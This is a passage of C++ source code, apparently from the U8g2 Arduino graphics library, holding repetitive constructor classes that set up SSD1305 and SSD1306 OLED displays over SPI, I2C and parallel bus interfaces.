u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X64_RAYSTAR_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X64_RAYSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_2040X16_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_2040X16_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, 